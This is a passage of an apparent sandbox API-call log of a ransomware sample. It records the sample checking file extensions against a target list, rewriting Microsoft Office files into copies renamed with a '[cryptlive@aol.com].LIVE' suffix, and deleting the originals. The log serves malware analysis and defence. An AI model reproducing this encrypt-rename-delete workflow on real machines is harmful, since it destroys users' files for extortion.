lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.103] lstrlenW (lpString=".pdf") returned 4 [0148.103] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.103] lstrlenW (lpString=".xls") returned 4 [0148.103] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.103] lstrlenW (lpString=".xlsx") returned 5 [0148.103] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.103] lstrlenW (lpString=".ppt") returned 4 [0148.103] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString=".zip") returned 4 [0148.103] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.103] lstrlenW (lpString=".rar") returned 4 [0148.103] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.103] lstrlenW (lpString=".bz2") returned 4 [0148.103] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.103] lstrlenW (lpString=".7z") returned 3 [0148.103] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.103] lstrlenW (lpString=".dbf") returned 4 [0148.104] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.104] lstrlenW (lpString=".1cd") returned 4 [0148.104] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65 [0148.104] lstrlenW (lpString=".jpg") returned 4 [0148.104] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.104] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0148.104] lstrlenW (lpString="WINWORD.HXS") returned 11 [0148.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0148.104] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5240293) returned 1 [0148.104] CloseHandle (hObject=0x3b0) returned 1 [0148.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs")) returned 0x20 [0148.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.105] lstrlenW (lpString=".doc") returned 4 [0148.105] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0148.105] lstrlenW (lpString=".docx") returned 5 [0148.105] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0148.105] lstrlenW (lpString=".pdf") returned 4 [0148.105] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0148.105] lstrlenW (lpString=".xls") returned 4 [0148.105] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0148.105] lstrlenW (lpString=".xlsx") returned 5 [0148.105] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0148.105] lstrlenW (lpString=".ppt") returned 4 [0148.105] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.105] lstrlenW (lpString=".zip") returned 4 [0148.105] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0148.105] lstrlenW (lpString=".rar") returned 4 [0148.105] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0148.105] lstrlenW (lpString=".bz2") returned 4 [0148.105] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0148.105] lstrlenW (lpString=".7z") returned 3 [0148.105] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0148.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.105] lstrlenW (lpString=".dbf") returned 4 [0148.106] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString=".1cd") returned 4 [0148.106] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString=".jpg") returned 4 [0148.106] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString=".doc") returned 4 [0148.106] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0148.106] lstrlenW (lpString=".docx") returned 5 [0148.106] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0148.106] lstrlenW (lpString=".pdf") returned 4 [0148.106] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0148.106] lstrlenW (lpString=".xls") returned 4 [0148.106] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0148.106] lstrlenW (lpString=".xlsx") returned 5 [0148.106] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0148.106] lstrlenW (lpString=".ppt") returned 4 [0148.106] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString=".zip") returned 4 [0148.106] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0148.106] lstrlenW (lpString=".rar") returned 4 [0148.106] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0148.106] lstrlenW (lpString=".bz2") returned 4 [0148.106] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0148.106] lstrlenW (lpString=".7z") returned 3 [0148.106] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString=".dbf") returned 4 [0148.106] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0148.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.106] lstrlenW (lpString=".1cd") returned 4 [0148.106] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0148.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0148.107] lstrlenW (lpString=".jpg") returned 4 [0148.107] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0148.107] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0148.107] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0148.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.362] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=631) returned 1 [0148.362] CloseHandle (hObject=0x3cc) returned 1 [0148.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 0x20 [0148.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.362] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.362] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0148.363] GetLastError () returned 0x0 [0148.363] ReadFile (in: hFile=0x3cc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x277, lpOverlapped=0x0) returned 1 [0148.512] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x280, lpOverlapped=0x0) returned 1 [0148.513] ReadFile (in: hFile=0x3cc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.513] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0148.513] SetEndOfFile (hFile=0x3a8) returned 1 [0148.513] CloseHandle (hObject=0x3a8) returned 1 [0148.513] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.513] SetEndOfFile (hFile=0x3cc) returned 1 [0148.515] CloseHandle (hObject=0x3cc) returned 1 [0148.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 1 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString=".doc") returned 4 [0148.726] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0148.726] lstrlenW (lpString=".docx") returned 5 [0148.726] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0148.726] lstrlenW (lpString=".pdf") returned 4 [0148.726] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0148.726] lstrlenW (lpString=".xls") returned 4 [0148.726] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0148.726] lstrlenW (lpString=".xlsx") returned 5 [0148.726] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0148.726] lstrlenW (lpString=".ppt") returned 4 [0148.726] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString=".zip") returned 4 [0148.726] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0148.726] lstrlenW (lpString=".rar") returned 4 [0148.726] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0148.726] lstrlenW (lpString=".bz2") returned 4 [0148.726] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0148.726] lstrlenW (lpString=".7z") returned 3 [0148.726] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString=".dbf") returned 4 [0148.726] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString=".1cd") returned 4 [0148.726] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString=".jpg") returned 4 [0148.726] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.726] lstrlenW (lpString=".doc") returned 4 [0148.727] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0148.727] lstrlenW (lpString=".docx") returned 5 [0148.727] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0148.727] lstrlenW (lpString=".pdf") returned 4 [0148.727] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0148.727] lstrlenW (lpString=".xls") returned 4 [0148.727] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0148.727] lstrlenW (lpString=".xlsx") returned 5 [0148.727] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0148.727] lstrlenW (lpString=".ppt") returned 4 [0148.727] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0148.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.727] lstrlenW (lpString=".zip") returned 4 [0148.727] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0148.727] lstrlenW (lpString=".rar") returned 4 [0148.727] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0148.727] lstrlenW (lpString=".bz2") returned 4 [0148.727] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0148.727] lstrlenW (lpString=".7z") returned 3 [0148.727] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0148.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.727] lstrlenW (lpString=".dbf") returned 4 [0148.727] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0148.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.727] lstrlenW (lpString=".1cd") returned 4 [0148.727] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0148.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0148.727] lstrlenW (lpString=".jpg") returned 4 [0148.727] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0148.727] lstrcmpiW (lpString1=".ACL", lpString2=".LIVE") returned -1 [0148.727] lstrlenW (lpString="MSO.ACL") returned 7 [0148.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.808] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=43558) returned 1 [0148.808] CloseHandle (hObject=0x39c) returned 1 [0148.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 0x20 [0148.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0148.811] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.822] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.840] GetLastError () returned 0x0 [0148.840] ReadFile (in: hFile=0x3d4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xaa26, lpOverlapped=0x0) returned 1 [0148.855] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xaa30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xaa30, lpOverlapped=0x0) returned 1 [0148.856] ReadFile (in: hFile=0x3d4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.856] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0148.857] SetEndOfFile (hFile=0x3c4) returned 1 [0149.367] CloseHandle (hObject=0x3c4) returned 1 [0149.367] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.367] SetEndOfFile (hFile=0x3d4) returned 1 [0149.404] CloseHandle (hObject=0x3d4) returned 1 [0149.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl")) returned 1 [0149.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.448] lstrlenW (lpString=".doc") returned 4 [0149.448] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0149.448] lstrlenW (lpString=".docx") returned 5 [0149.448] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0149.448] lstrlenW (lpString=".pdf") returned 4 [0149.448] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0149.448] lstrlenW (lpString=".xls") returned 4 [0149.448] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0149.448] lstrlenW (lpString=".xlsx") returned 5 [0149.449] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0149.449] lstrlenW (lpString=".ppt") returned 4 [0149.449] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.449] lstrlenW (lpString=".zip") returned 4 [0149.449] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString=".rar") returned 4 [0149.449] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString=".bz2") returned 4 [0149.449] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString=".7z") returned 3 [0149.449] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0149.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.449] lstrlenW (lpString=".dbf") returned 4 [0149.449] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.449] lstrlenW (lpString=".1cd") returned 4 [0149.449] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0149.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.449] lstrlenW (lpString=".jpg") returned 4 [0149.449] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.449] lstrlenW (lpString=".doc") returned 4 [0149.449] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString=".docx") returned 5 [0149.449] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0149.449] lstrlenW (lpString=".pdf") returned 4 [0149.449] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString=".xls") returned 4 [0149.449] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0149.449] lstrlenW (lpString=".xlsx") returned 5 [0149.449] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0149.449] lstrlenW (lpString=".ppt") returned 4 [0149.449] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0149.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.450] lstrlenW (lpString=".zip") returned 4 [0149.450] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0149.450] lstrlenW (lpString=".rar") returned 4 [0149.450] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0149.450] lstrlenW (lpString=".bz2") returned 4 [0149.450] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0149.450] lstrlenW (lpString=".7z") returned 3 [0149.450] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0149.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.450] lstrlenW (lpString=".dbf") returned 4 [0149.450] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0149.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.450] lstrlenW (lpString=".1cd") returned 4 [0149.450] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0149.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned 55 [0149.450] lstrlenW (lpString=".jpg") returned 4 [0149.450] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0149.450] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.450] lstrlenW (lpString="ACCDDSLM.DLL") returned 12 [0149.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.463] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=552368) returned 1 [0149.463] CloseHandle (hObject=0x384) returned 1 [0149.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll")) returned 0x20 [0149.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.464] lstrlenW (lpString=".doc") returned 4 [0149.464] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.464] lstrlenW (lpString=".docx") returned 5 [0149.464] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0149.464] lstrlenW (lpString=".pdf") returned 4 [0149.464] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.464] lstrlenW (lpString=".xls") returned 4 [0149.464] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.464] lstrlenW (lpString=".xlsx") returned 5 [0149.464] lstrcmpiW (lpString1=".xlsx", 